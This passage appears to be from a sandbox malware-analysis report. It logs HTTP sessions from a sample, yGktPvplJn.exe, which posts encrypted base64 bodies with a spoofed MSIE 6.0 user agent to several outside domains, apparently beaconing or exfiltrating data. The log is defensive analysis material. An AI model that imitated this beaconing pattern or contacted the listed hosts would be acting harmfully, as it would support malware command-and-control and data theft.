79 56 4b 53 45 54 36 75 32 6e 64 2b 39 31 4e 76 44 55 6c 66 4d 46 4f 49 64 56 4b 4d 36 67 61 57 74 59 72 63 41 4c 54 70 4a 65 39 44 47 53 6d 56 53 5a 34 30 78 6b 69 30 5a 61 55 49 55 4b 65 79 6b 36 65 30 35 34 37 71 66 47 32 73 46 43 71 4a 2f 6d 53 52 32 48 67 4c 33 62 72 32 79 4f 73 78 64 43 67 59 55 4f 53 79 4c 47 54 32 6b 7a 32 6a 54 48 6b 66 4a 4e 76 63 36 68 4b 71 4d 47 77 4f 37 76 6a 77 51 71 6f 77 42 4b 79 63 45 45 37 77 74 42 6d 63 79 70 6a 2f 6e 51 6b 76 77 45 [TRUNCATED] Data Ascii: xXh9pexu1fwdnbvY152D8v8ws1tE1qdF4L6AMJygMgE4XSvK4mxw0RWV0GFj/lWYSG+V9CBkHXznDdAqS1nVea6/qSQG7QVueewB8BYkUSVbHTO1x5Cq0R30lVHg4RSDtyo0c20+gEDyFXCHJr1oO8D5nidSyGAv3C2d2QdC/j3SKD3Ym4NpyVKSET6u2nd+91NvDUlfMFOIdVKM6gaWtYrcALTpJe9DGSmVSZ40xki0ZaUIUKeyk6e0547qfG2sFCqJ/mSR2HgL3br2yOsxdCgYUOSyLGT2kz2jTHkfJNvc6hKqMGwO7vjwQqowBKycEE7wtBmcypj/nQkvwEHCFuywyDmUrVm6Rpz6+CGGqOKH1u0K80Pw5cvbNrE0R4ptPPA+5Wa5nMNuq0EtMJH9wXCQMrNeXli3vTsKCHQ5kubst/tIxw6tPdUTvFnqygE+COLlal2xGMzZhMv03KCAe7crDCwYhP++cxZB2j9aB0TtcB8ZfnLdr6EEI3nv763BUbwJXHfyStvsMN0QHxU2q4WkrltJmN78rpRLHHZdRI/JY6lE8M6iwCutmlNLEQ0OEdd/DlkaobCBUonn+KE=
Oct 25, 2024 11:17:44.498800993 CEST	283	IN	HTTP/1.1 302 Found date: Fri, 25 Oct 2024 09:17:44 GMT server: Apache set-cookie: __tad=1729847864.1118985; expires=Mon, 23-Oct-2034 09:17:44 GMT; Max-Age=315360000 location: http://ww38.pupi.cz/ content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	52669	198.100.146.220	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:43.875956059 CEST	825	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 592 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.usadig.com Cache-Control: no-cache Data Raw: 48 2b 36 46 46 4f 70 4b 2b 76 78 63 46 6e 45 35 7a 66 33 58 48 36 32 33 70 36 51 61 33 53 45 70 76 6b 50 77 63 49 6f 6c 6f 48 31 59 4d 6a 46 5a 56 6e 63 78 2f 74 74 72 4a 53 39 5a 33 74 47 35 4f 4c 51 5a 6a 63 45 7a 54 4c 4d 4e 64 41 33 55 59 4d 6f 58 47 50 68 7a 31 4c 6f 56 46 5a 78 79 78 48 61 59 59 43 4b 70 53 61 35 7a 32 4f 6c 57 55 6f 51 32 4b 70 78 50 34 44 44 70 70 70 34 6b 48 4b 74 4d 62 4d 54 66 68 69 68 35 62 63 30 71 69 6d 61 4e 6a 48 52 31 67 65 35 62 4a 55 38 6a 4c 6c 38 53 66 56 57 71 52 63 6a 49 6f 36 2b 33 6a 78 69 50 6f 6f 57 4a 5a 44 54 59 44 71 42 33 2b 59 43 43 4f 75 41 75 53 42 59 56 50 65 38 70 4e 78 72 79 36 70 2f 61 4c 6b 36 72 69 4a 54 51 2b 41 63 5a 56 6d 53 38 6b 61 52 76 78 77 4f 2b 5a 49 58 4b 30 33 43 2b 32 63 68 34 45 41 75 46 48 34 36 4e 61 61 62 75 72 4f 48 42 4a 4a 5a 43 67 48 61 66 54 70 35 2b 42 69 33 39 5a 67 66 70 73 30 48 63 68 36 73 54 76 6d 59 42 6e 35 62 73 2f 4d 6b 46 54 6b 4e 42 71 57 39 53 45 51 41 36 75 53 39 53 68 64 39 65 4a 73 33 37 6a 46 50 7a 7a 73 [TRUNCATED] Data Ascii: H+6FFOpK+vxcFnE5zf3XH623p6Qa3SEpvkPwcIoloH1YMjFZVncx/ttrJS9Z3tG5OLQZjcEzTLMNdA3UYMoXGPhz1LoVFZxyxHaYYCKpSa5z2OlWUoQ2KpxP4DDppp4kHKtMbMTfhih5bc0qimaNjHR1ge5bJU8jLl8SfVWqRcjIo6+3jxiPooWJZDTYDqB3+YCCOuAuSBYVPe8pNxry6p/aLk6riJTQ+AcZVmS8kaRvxwO+ZIXK03C+2ch4EAuFH46NaaburOHBJJZCgHafTp5+Bi39Zgfps0Hch6sTvmYBn5bs/MkFTkNBqW9SEQA6uS9Shd9eJs37jFPzzsRHLY59beiF1GEVGOOnk/a02GyVy3eMmniTcDmPImfrhaC60UiGN3nSdiO4QvFrmZRoqzF6jnJacTzAwvWuUP//ItcTQLOmISfWxQhr/i8QAX4OLTe+2wU6XgUXQx3gpM9XT53qX+q6O5erIdjOo7WnAF8xZEZb8VJao3uvOpWzyzohiNoyfwOXlLZCBOGMob/roKJrgLGcxpC4Pm+ufKl+0CDWDBk0WZ+VLreASXByWtcHX95JAW+YQ3xgD20=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	52672	208.109.214.162	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:44.059885025 CEST	802	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pwd.org Cache-Control: no-cache Data Raw: 52 30 41 6e 50 48 6d 6e 5a 2f 30 57 37 34 4e 37 43 4b 6f 39 77 68 49 32 5a 56 4a 58 51 69 33 55 76 66 6e 2b 49 7a 50 64 59 32 2b 6e 34 61 49 48 78 42 59 38 72 34 79 2f 37 56 4d 38 77 69 79 78 6d 58 51 78 62 2b 50 39 33 39 53 46 55 35 33 68 4f 4c 57 4b 52 61 68 77 47 78 4a 72 46 32 44 50 77 68 63 4b 62 35 48 5a 7a 5a 32 57 73 30 73 58 51 56 39 6b 74 54 69 46 73 44 7a 45 49 77 47 46 64 43 35 6a 6f 70 62 70 45 4e 73 4a 31 56 34 44 78 52 30 54 6a 68 64 74 45 2f 6c 33 79 55 34 5a 4b 43 52 6e 4f 39 61 38 47 33 43 6c 46 4c 32 62 76 62 6e 48 54 5a 36 73 76 76 32 6d 49 75 42 46 75 67 68 78 6c 53 7a 48 49 33 57 54 4b 30 52 36 46 35 42 66 4f 4a 61 70 4f 6a 52 39 50 58 65 2f 7a 6b 6d 44 44 70 77 72 47 2f 79 72 6e 6c 71 50 68 41 7a 2b 6d 6e 49 36 70 55 4e 50 6b 68 50 55 63 6e 65 6d 6a 76 56 72 6e 78 72 6e 58 53 78 66 44 65 59 6b 30 47 64 6a 2b 37 77 33 58 7a 67 46 76 32 4e 47 61 38 55 6b 59 37 6f 37 65 32 6a 53 61 59 38 6c 39 62 69 41 55 59 4d 75 50 6b 52 31 64 4b 4e 6b 30 72 33 2f 4c 64 38 6e 73 51 68 4b 5a 50 [TRUNCATED] Data Ascii: R0AnPHmnZ/0W74N7CKo9whI2ZVJXQi3Uvfn+IzPdY2+n4aIHxBY8r4y/7VM8wiyxmXQxb+P939SFU53hOLWKRahwGxJrF2DPwhcKb5HZzZ2Ws0sXQV9ktTiFsDzEIwGFdC5jopbpENsJ1V4DxR0TjhdtE/l3yU4ZKCRnO9a8G3ClFL2bvbnHTZ6svv2mIuBFughxlSzHI3WTK0R6F5BfOJapOjR9PXe/zkmDDpwrG/yrnlqPhAz+mnI6pUNPkhPUcnemjvVrnxrnXSxfDeYk0Gdj+7w3XzgFv2NGa8UkY7o7e2jSaY8l9biAUYMuPkR1dKNk0r3/Ld8nsQhKZP/FK3lXEIBiHmqC0nvLp7bX2Ex0pgc+2bAGVPP26f6OAeFAWOmsbINmODVPigCxR29qcmoZxhrTQ8MkfhrCzdZODqu3b1y6DjypT2LEfH96XFgXxcYGBSbMstX7ybIfj4TR3Baoe1xXjdYX1/+rW9ycAyxrfQ890Z2MNcdLikHl5QXd6rAichEG3H5L9Rgmm/28+PB9UHp1Tt+HwqkMjEgy+pbo1C/oNDB1dIPUkA==
Oct 25, 2024 11:17:44.709678888 CEST	446	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:44 GMT Server: Apache X-Content-Type-Options: nosniff Location: https://www.pwd.org/ Content-Length: 228 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 77 64 2e 6f 72 67 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.pwd.org/">here</a>.</p></body></html>
Oct 25, 2024 11:17:44.871887922 CEST	802	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pwd.org Cache-Control: no-cache Data Raw: 52 30 41 6e 50 48 6d 6e 5a 2f 30 57 37 34 4e 37 43 4b 6f 39 77 68 49 32 5a 56 4a 58 51 69 33 55 76 66 6e 2b 49 7a 50 64 59 32 2b 6e 34 61 49 48 78 42 59 38 72 34 79 2f 37 56 4d 38 77 69 79 78 6d 58 51 78 62 2b 50 39 33 39 53 46 55 35 33 68 4f 4c 57 4b 52 61 68 77 47 78 4a 72 46 32 44 50 77 68 63 4b 62 35 48 5a 7a 5a 32 57 73 30 73 58 51 56 39 6b 74 54 69 46 73 44 7a 45 49 77 47 46 64 43 35 6a 6f 70 62 70 45 4e 73 4a 31 56 34 44 78 52 30 54 6a 68 64 74 45 2f 6c 33 79 55 34 5a 4b 43 52 6e 4f 39 61 38 47 33 43 6c 46 4c 32 62 76 62 6e 48 54 5a 36 73 76 76 32 6d 49 75 42 46 75 67 68 78 6c 53 7a 48 49 33 57 54 4b 30 52 36 46 35 42 66 4f 4a 61 70 4f 6a 52 39 50 58 65 2f 7a 6b 6d 44 44 70 77 72 47 2f 79 72 6e 6c 71 50 68 41 7a 2b 6d 6e 49 36 70 55 4e 50 6b 68 50 55 63 6e 65 6d 6a 76 56 72 6e 78 72 6e 58 53 78 66 44 65 59 6b 30 47 64 6a 2b 37 77 33 58 7a 67 46 76 32 4e 47 61 38 55 6b 59 37 6f 37 65 32 6a 53 61 59 38 6c 39 62 69 41 55 59 4d 75 50 6b 52 31 64 4b 4e 6b 30 72 33 2f 4c 64 38 6e 73 51 68 4b 5a 50 [TRUNCATED] Data Ascii: R0AnPHmnZ/0W74N7CKo9whI2ZVJXQi3Uvfn+IzPdY2+n4aIHxBY8r4y/7VM8wiyxmXQxb+P939SFU53hOLWKRahwGxJrF2DPwhcKb5HZzZ2Ws0sXQV9ktTiFsDzEIwGFdC5jopbpENsJ1V4DxR0TjhdtE/l3yU4ZKCRnO9a8G3ClFL2bvbnHTZ6svv2mIuBFughxlSzHI3WTK0R6F5BfOJapOjR9PXe/zkmDDpwrG/yrnlqPhAz+mnI6pUNPkhPUcnemjvVrnxrnXSxfDeYk0Gdj+7w3XzgFv2NGa8UkY7o7e2jSaY8l9biAUYMuPkR1dKNk0r3/Ld8nsQhKZP/FK3lXEIBiHmqC0nvLp7bX2Ex0pgc+2bAGVPP26f6OAeFAWOmsbINmODVPigCxR29qcmoZxhrTQ8MkfhrCzdZODqu3b1y6DjypT2LEfH96XFgXxcYGBSbMstX7ybIfj4TR3Baoe1xXjdYX1/+rW9ycAyxrfQ890Z2MNcdLikHl5QXd6rAichEG3H5L9Rgmm/28+PB9UHp1Tt+HwqkMjEgy+pbo1C/oNDB1dIPUkA==
Oct 25, 2024 11:17:45.020466089 CEST	446	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:44 GMT Server: Apache X-Content-Type-Options: nosniff Location: https://www.pwd.org/ Content-Length: 228 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 77 64 2e 6f 72 67 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.pwd.org/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	52673	5.196.166.214	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:44.123414040 CEST	786	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 552 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.spanesi.com Cache-Control: no-cache Data Raw: 66 62 4e 6d 52 56 76 30 5a 2f 32 45 4d 4c 77 57 63 70 33 31 59 6b 51 76 71 59 33 68 31 63 78 42 76 33 4e 62 73 6a 68 59 4d 6e 36 68 57 51 6a 76 68 6d 77 45 39 45 4b 47 74 6c 2f 31 47 47 38 71 43 36 42 4b 6e 30 66 65 58 52 76 52 6b 4b 79 53 70 55 66 45 49 44 64 39 6f 2f 36 77 6b 70 74 59 75 6e 49 62 59 64 43 38 2f 46 4d 38 49 4f 67 34 45 66 64 34 39 59 66 64 79 48 51 2f 6e 7a 72 57 58 48 66 43 79 78 57 59 48 72 45 65 33 4a 44 32 37 6b 79 64 69 57 2f 6e 35 42 7a 49 2b 44 58 41 65 71 71 66 55 57 76 72 77 33 46 6c 4f 79 54 4e 36 4f 56 34 56 31 44 4f 35 6e 4d 72 45 39 56 2b 4b 49 48 54 42 39 46 31 62 70 61 4f 69 70 46 74 74 30 61 67 43 42 34 48 4f 43 56 69 31 6b 32 61 50 72 44 4b 38 59 4a 71 45 41 38 32 39 2b 36 34 5a 32 71 46 30 63 75 6e 75 6e 7a 48 46 34 39 50 54 67 66 62 68 47 59 69 69 73 2b 32 5a 38 77 32 42 47 4b 46 7a 61 74 46 2b 45 56 58 71 76 50 42 37 4b 51 58 62 56 2f 4c 6b 63 4f 6b 4e 53 45 36 79 6a 67 35 37 67 55 48 32 53 6d 76 6e 2b 36 36 71 76 34 2b 32 66 6e 31 2b 42 45 4f 4b 58 64 39 6b 4c [TRUNCATED] Data Ascii: fbNmRVv0Z/2EMLwWcp31YkQvqY3h1cxBv3NbsjhYMn6hWQjvhmwE9EKGtl/1GG8qC6BKn0feXRvRkKySpUfEIDd9o/6wkptYunIbYdC8/FM8IOg4Efd49YfdyHQ/nzrWXHfCyxWYHrEe3JD27kydiW/n5BzI+DXAeqqfUWvrw3FlOyTN6OV4V1DO5nMrE9V+KIHTB9F1bpaOipFtt0agCB4HOCVi1k2aPrDK8YJqEA829+64Z2qF0cununzHF49PTgfbhGYiis+2Z8w2BGKFzatF+EVXqvPB7KQXbV/LkcOkNSE6yjg57gUH2Smvn+66qv4+2fn1+BEOKXd9kLzaSdKM0+o5TvZeVbzuMZZb6+hu7tiYwZwKG2nVFTuf2+7xZ+v7zUjOoVTqmaFHvkZeXrdD/yFDvp1Kww5+Top1XOaBiKmcERS0himfyFZAiDElmSzsikaaRrwjx8xKoTAZgKuwr3X1ODpZIMYtNEdiCB7osx2bwu09lGHDL2e43n1MuTleEssauNa53tF4QJkvaJE2qkChh3IrxGkr85k=
Oct 25, 2024 11:17:44.983393908 CEST	187	IN	HTTP/1.1 307 Temporary Redirect Transfer-Encoding: chunked Location: https://www.spanesi.com/ Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Fri, 25 Oct 2024 09:17:44 GMT
Oct 25, 2024 11:17:44.983645916 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	52677	103.224.182.241	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:44.870743036 CEST	860	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 596 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.pupi.cz Cache-Control: no-cache Cookie: __tad=1729847864.1118985 Data Raw: 78 58 68 39 70 65 78 75 31 66 77 64 6e 62 76 59 31 35 32 44 38 76 38 77 73 31 74 45 31 71 64 46 34 4c 36 41 4d 4a 79 67 4d 67 45 34 58 53 76 4b 34 6d 78 77 30 52 57 56 30 47 46 6a 2f 6c 57 59 53 47 2b 56 39 43 42 6b 48 58 7a 6e 44 64 41 71 53 31 6e 56 65 61 36 2f 71 53 51 47 37 51 56 75 65 65 77 42 38 42 59 6b 55 53 56 62 48 54 4f 31 78 35 43 71 30 52 33 30 6c 56 48 67 34 52 53 44 74 79 6f 30 63 32 30 2b 67 45 44 79 46 58 43 48 4a 72 31 6f 4f 38 44 35 6e 69 64 53 79 47 41 76 33 43 32 64 32 51 64 43 2f 6a 33 53 4b 44 33 59 6d 34 4e 70 79 56 4b 53 45 54 36 75 32 6e 64 2b 39 31 4e 76 44 55 6c 66 4d 46 4f 49 64 56 4b 4d 36 67 61 57 74 59 72 63 41 4c 54 70 4a 65 39 44 47 53 6d 56 53 5a 34 30 78 6b 69 30 5a 61 55 49 55 4b 65 79 6b 36 65 30 35 34 37 71 66 47 32 73 46 43 71 4a 2f 6d 53 52 32 48 67 4c 33 62 72 32 79 4f 73 78 64 43 67 59 55 4f 53 79 4c 47 54 32 6b 7a 32 6a 54 48 6b 66 4a 4e 76 63 36 68 4b 71 4d 47 77 4f 37 76 6a 77 51 71 6f 77 42 4b 79 63 45 45 37 77 74 42 6d 63 79 70 6a 2f 6e 51 6b 76 77 45 [TRUNCATED] Data Ascii: xXh9pexu1fwdnbvY152D8v8ws1tE1qdF4L6AMJygMgE4XSvK4mxw0RWV0GFj/lWYSG+V9CBkHXznDdAqS1nVea6/qSQG7QVueewB8BYkUSVbHTO1x5Cq0R30lVHg4RSDtyo0c20+gEDyFXCHJr1oO8D5nidSyGAv3C2d2QdC/j3SKD3Ym4NpyVKSET6u2nd+91NvDUlfMFOIdVKM6gaWtYrcALTpJe9DGSmVSZ40xki0ZaUIUKeyk6e0547qfG2sFCqJ/mSR2HgL3br2yOsxdCgYUOSyLGT2kz2jTHkfJNvc6hKqMGwO7vjwQqowBKycEE7wtBmcypj/nQkvwEHCFuywyDmUrVm6Rpz6+CGGqOKH1u0K80Pw5cvbNrE0R4ptPPA+5Wa5nMNuq0EtMJH9wXCQMrNeXli3vTsKCHQ5kubst/tIxw6tPdUTvFnqygE+COLlal2xGMzZhMv03KCAe7crDCwYhP++cxZB2j9aB0TtcB8ZfnLdr6EEI3nv763BUbwJXHfyStvsMN0QHxU2q4WkrltJmN78rpRLHHZdRI/JY6lE8M6iwCutmlNLEQ0OEdd/DlkaobCBUonn+KE=
Oct 25, 2024 11:17:45.542665958 CEST	187	IN	HTTP/1.1 302 Found date: Fri, 25 Oct 2024 09:17:45 GMT server: Apache location: http://ww38.pupi.cz/ content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	52681	188.114.97.3	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:45.073313951 CEST	783	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 552 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.tc17.com Cache-Control: no-cache Data Raw: 49 45 31 4c 63 79 38 57 2f 2f 31 70 41 73 6f 4f 54 73 33 51 37 7a 69 77 39 72 4e 46 33 6f 6b 53 30 2b 69 77 32 4a 30 4b 46 55 44 61 39 68 6a 49 78 4a 57 6d 79 57 38 74 70 43 36 55 6a 61 70 69 41 32 56 72 72 52 57 46 47 70 56 51 65 46 56 32 77 73 33 30 66 2f 53 6a 74 6f 42 6a 56 33 4e 43 37 31 47 67 72 77 39 4e 62 64 58 35 2b 72 4a 4f 49 65 63 48 62 2b 2b 69 65 4f 6c 6e 75 2b 78 4f 4b 6a 41 54 61 4b 57 6f 77 54 68 62 78 39 67 32 47 37 4d 6d 55 69 59 68 51 41 52 2b 42 6c 68 74 58 76 43 59 62 2b 76 62 43 66 4e 39 78 7a 54 4c 55 44 72 63 58 6c 78 2f 78 51 33 45 7a 4e 53 66 53 65 77 72 73 4c 47 77 58 71 4b 2b 47 36 62 73 53 58 71 4f 33 42 4b 61 59 4c 50 77 68 59 31 6d 37 4d 35 70 79 32 68 6e 6b 41 75 74 39 41 72 58 62 51 74 74 4d 55 56 71 72 6b 38 4f 64 4d 61 69 37 73 64 46 33 6e 32 49 72 4b 37 2f 75 66 4c 70 38 52 67 4d 6a 58 6b 62 6d 6b 31 31 63 69 56 4f 4d 6c 4b 78 48 49 63 7a 65 6e 6a 55 5a 67 4a 79 53 6e 5a 65 64 56 6d 67 41 4f 6a 55 31 64 72 64 2f 61 64 46 4a 2f 44 7a 4b 47 66 49 52 6d 52 57 59 52 [TRUNCATED] Data Ascii: IE1Lcy8W//1pAsoOTs3Q7ziw9rNF3okS0+iw2J0KFUDa9hjIxJWmyW8tpC6UjapiA2VrrRWFGpVQeFV2ws30f/SjtoBjV3NC71Ggrw9NbdX5+rJOIecHb++ieOlnu+xOKjATaKWowThbx9g2G7MmUiYhQAR+BlhtXvCYb+vbCfN9xzTLUDrcXlx/xQ3EzNSfSewrsLGwXqK+G6bsSXqO3BKaYLPwhY1m7M5py2hnkAut9ArXbQttMUVqrk8OdMai7sdF3n2IrK7/ufLp8RgMjXkbmk11ciVOMlKxHIczenjUZgJySnZedVmgAOjU1drd/adFJ/DzKGfIRmRWYR5yjWJMFIC2CrC4RRE7UkxYJASESCgVMCFpfHrVa8u43nB6SOSeHaaZvCw6hSylMAmops0FcK99oUrGr4kb4SjKO5vg6Hqikjpj2JifpPnqqgxD8brd4XWDBVkiv7E0SexaBxS51F9qOz3oGDEVzbjJR2mU0KRlHeGoufOkIJvq2YHr4ZiM5Zz55nYTHq6ctKsX/RQaOtvaA5JVPrJKIw==
Oct 25, 2024 11:17:45.692706108 CEST	1236	IN	HTTP/1.1 403 Forbidden Date: Fri, 25 Oct 2024 09:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Fri, 25 Oct 2024 09:18:00 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uP3Tkxf1CHESBVTu2QbH%2BV%2BhKJKYYmiakK8HCYcz6b8rpj3uejbeIbTOFryLaJd%2B0cVLbg2yiLNDLwMAn2%2FPuVOazU5YbHO9vVTsbcTIoWwBZLwo8Lp9MPRBfJj19eQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d881a7eeaa4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1196&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=783&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 35 34 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 [TRUNCATED] Data Ascii: 154a<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Attention Required! \| Cloudflare</title>
Oct 25, 2024 11:17:45.692734003 CEST	1236	IN	Data Raw: 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 Data Ascii: <meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=dev
Oct 25, 2024 11:17:45.692754030 CEST	1236	IN	Data Raw: 22 3e 59 6f 75 20 61 72 65 20 75 6e 61 62 6c 65 20 74 6f 20 61 63 63 65 73 73 3c 2f 73 70 61 6e 3e 20 74 63 31 37 2e 63 6f 6d 3c 2f 68 32 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 68 65 61 64 65 72 20 2d 2d 3e 0a 0a 20 20 20 Data Ascii: ">You are unable to access</span> tc17.com</h2> </div>... /.header --> <div class="cf-section cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full">
